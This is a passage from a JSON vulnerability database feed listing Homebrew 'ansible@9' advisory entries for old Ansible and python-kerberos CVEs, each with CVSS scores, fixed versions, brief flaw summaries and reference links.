local users to obtain sensitive credential information in opportunistic circumstances by leveraging existence of a file that uses the `deb http://user:pass@server:port/` format.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4660"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/c4b5e46054c74176b2446c82d4df1a2610eddc08"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-202.yaml"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2014-4660"},{"type":"WEB","url":"https://web.archive.org/web/20200229060002/https://www.securityfocus.com/bid/68231"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2014/06/26/19"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2014-4678","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-66c7-5pwv-mm3j","CVE-2014-4678","PYSEC-2020-203"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Code Injection Vulnerability","details":"The safe_eval function in Ansible before 1.6.4 does not properly restrict the code subset, which allows remote attackers to execute arbitrary code via crafted instructions. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-4657.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4678"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/5429b85b9f6c2e640074176f36ff05fd5e4d1916"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-203.yaml"},{"type":"WEB","url":"https://groups.google.com/forum/message/raw?msg=ansible-announce/ieV1vZvcTXU/5Q93ThkY9rIJ"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2014-4678"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2014/06/26/30"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2014/07/02/2"},{"type":"WEB","url":"https://www.rapid7.com/db/vulnerabilities/freebsd-vid-2c493ac8-205e-11e5-a4a5-002590263bf5"},{"type":"WEB","url":"https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2014-4678"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2014-4966","published":"2026-08-13T16:35:23Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-wqq5-c89p-3wc3","CVE-2014-4966","PYSEC-2020-204"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Arbitrary Code Execution","details":"Ansible before 1.6.7 does not prevent inventory data with \"{{\" and \"lookup\" substrings, and does not prevent remote data with \"{{\" substrings, which allows remote attackers to execute arbitrary code via (1) crafted lookup('pipe') calls or (2) crafted Jinja2 data.\n","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4966"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/62a1295a3e08cb6c3e9f1b2a1e6e5dcaeab32527"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-204.yaml"},{"type":"WEB","url":"http://www.ocert.org/advisories/ocert-2014-004.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2014-4967","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-64cw-m57j-65xj","CVE-2014-4967","PYSEC-2020-205"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Arbitrary Code Execution","details":"Multiple argument injection vulnerabilities in Ansible before 1.6.7 allow remote attackers to execute arbitrary code by leveraging access to an Ansible managed host and providing a crafted fact, as demonstrated by a fact with (1) a trailing \" src=\" clause, (2) a trailing \" temp=\" clause, or (3) a trailing \" validate=\" clause accompanied by a shell command.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4967"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/62a1295a3e08cb6c3e9f1b2a1e6e5dcaeab32527"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-205.yaml"},{"type":"WEB","url":"http://www.ocert.org/advisories/ocert-2014-004.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2015-3206","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:29Z","upstream":["GHSA-mffc-9gx5-99g3","CVE-2015-3206","PYSEC-2017-49","PYSEC-2017-66"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"kerberos","resource_purl":"pkg:pypi/kerberos@1.3.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"kerberos","subject_version":"1.3.1","key":"pkg:pypi/kerberos@1.3.1","resource":"kerberos"}]},"summary":"python-kerberos vulnerable to KDC spoofing attacks","details":"The `checkPassword` function in python-kerberos does not authenticate the KDC it attempts to communicate with, which allows remote attackers to cause a denial of service (bad response), or have other unspecified impact by performing a man-in-the-middle attack.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-3206"},{"type":"WEB","url":"https://github.com/apple/ccs-pykerberos/issues/31"},{"type":"WEB","url":"https://github.com/apple/ccs-pykerberos/commit/9cb61c93f9b24dd18a0a315f3df5445529c5c333"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1223802"},{"type":"PACKAGE","url":"https://github.com/apple/ccs-pykerberos"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/kerberos/PYSEC-2017-49.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pykerberos/PYSEC-2017-66.yaml"},{"type":"WEB","url":"https://pypi.python.org/pypi/kerberos"},{"type":"WEB","url":"https://web.archive.org/web/20150910143429/https://trac.calendarserver.org/ticket/833"},{"type":"WEB","url":"https://web.archive.org/web/20200228090829/http://www.securityfocus.com/bid/74760"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/05/21/3"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2015-3908","published":"2026-08-13T16:35:23Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-w64c-pxjj-h866","CVE-2015-3908","PYSEC-2015-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.9.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible does not verify that the server hostname matches a domain name in certificates","details":"Ansible before 1.9.2 does not verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via an arbitrary valid certificate.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-3908"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-w64c-pxjj-h866"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2015-1.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-updates/2015-07/msg00051.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-updates/2015-08/msg00029.html"},{"type":"WEB","url":"http://www.ansible.com/security"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/07/14/4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2015-6240","published":"2026-08-13T16:35:23Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-wwwh-47wp-m522","CVE-2015-6240","PYSEC-2017-3"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.9.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Sandbox Escape via Symlink Attack","details":"The chroot, jail, and zone connection plugins in ansible before 1.9.2 allow local users to escape a restricted environment via a symlink attack.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-6240"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/952166f48eb0f5797b75b160fd156bbe1e8fc647"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ca2f2c4ebd7b5e097eab0a710f79c1f63badf95b"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1243468"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2017-3.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/08/17/10"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2016-3096","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-rh6x-qvg7-rrmj","CVE-2016-3096","PYSEC-2016-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.0.2.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Link Following in ansible","details":"The `create_script` function in the `lxc_container` module in Ansible before 1.9.6-1 and 2.x before 2.0.2.0 allows local users to write to arbitrary files or gain privileges via a symlink attack on (1) `/opt/.lxc-attach-script`, (2) the archived container in the `archive_path` directory, or the (3) `lxc-attach-script.log` or (4) `lxc-attach-script.err` files in the temporary directory.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-3096"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-extras/pull/1941"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-extras/commit/7c3999a92a1cd856ff9bc8913a93ff1aee8bffc3"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1322925"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-rh6x-qvg7-rrmj"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v1.9.6-1/CHANGELOG.md#196-dancing-in-the-street---tbd"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.0.2.0-1/CHANGELOG.md#202-over-the-hills-and-far-away"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2016-1.yaml"},{"type":"WEB","url":"https://groups.google.com/forum/#!topic/ansible-announce/E80HLZilTU0"},{"type":"WEB","url":"https://groups.google.com/forum/#!topic/ansible-announce/tqiZbcWxYig"},{"type":"WEB","url":"https://security.gentoo.org/glsa/201607-14"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183103.html"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183132.html"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183252.html"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183274.html"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-May/184175.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2016-8614","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-cmwx-9m2h-x7v4","CVE-2016-8614","PYSEC-2018-37"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible apt_key module does not properly verify key fingerprint","details":"A flaw was found in Ansible before version 2.2.0.0. The `apt_key` module does not properly verify key fingerprints, allowing remote adversary to create an OpenPGP key which matches the short key ID and inject this key instead of the correct key.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-8614"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/issues/5237"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/pull/5353"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/pull/5357"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/commit/1182d1f0b76d56f3667e27987a10b9ec8f03357d"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/commit/66d47c8149d84e52f64b7c4d1f340d45dca94d9c"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8614"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-cmwx-9m2h-x7v4"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-37.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20200227214450/https://www.securityfocus.com/bid/94108"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2016-8628","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-jg4f-jqm5-4mgq","CVE-2016-8628","PYSEC-2018-38"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible fails to properly sanitize fact variables sent from the Ansible controller","details":"Ansible before version 2.2.0 fails to properly sanitize fact variables sent from the Ansible controller. An attacker with the ability to create special variables on the controller could execute arbitrary commands on Ansible clients as the user Ansible runs as.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-8628"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/41903"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/35938b907dfcd1106ca40b794f0db446bdb8cf09"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2016:2778"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8628"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-jg4f-jqm5-4mgq"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-38.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20200227214455/http://www.securityfocus.com/bid/94109"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2016-8647","published":"2026-08-13T16:35:23Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-x4cm-m36h-c6qj","CVE-2016-8647","PYSEC-2018-58"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.1.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"}]},"summary":"Improper Input Validation in ansible","details":"An input validation vulnerability was found in Ansible's mysql_user module before 2.2.1.0, which may fail to correctly change a password in certain circumstances. Thus the previous password would still be active when it should have been changed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-8647"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/pull/5388"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/commit/30fb384e7fb9a94ac3929e4a650877e45d8834c9"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1685"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2016-8647"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1396174"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8647"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-x4cm-m36h-c6qj"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-58.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2016-9587","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-m956-frf4-m2wr","CVE-2016-9587","PYSEC-2018-39"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.1.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible is vulnerable to an improper input validation in Ansible's handling of data sent from client systems","details":"Ansible before versions 2.1.4.0, 2.2.1.0 is vulnerable to an improper input validation in Ansible's handling of data sent from client systems. An attacker with control over a client system being managed by Ansible and the ability to send facts back to the Ansible server could use this flaw to execute arbitrary code on the Ansible server using the Ansible server privileges.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-9587"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:0448"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:0515"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1685"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-9587"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-m956-frf4-m2wr"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-39.yaml"},{"type":"WEB","url":"https://security.gentoo.org/glsa/201701-77"},{"type":"WEB","url":"https://web.archive.org/web/20170115210655/http://www.securityfocus.com/bid/95352"},{"type":"WEB","url":"https://www.exploit-db.com/exploits/41013"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2017-0195.html"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2017-0260.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2017-7466","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-3m8p-xpm6-8ww3","CVE-2017-7466","PYSEC-2018-40"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.3.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Arbitrary Code Execution","details":"Ansible before version 2.3 has an input validation vulnerability in the handling of data sent from client systems. An attacker with control over a client system being managed by Ansible, and the ability to send facts back to the Ansible server, could use this flaw to execute arbitrary code on the Ansible server using the Ansible server 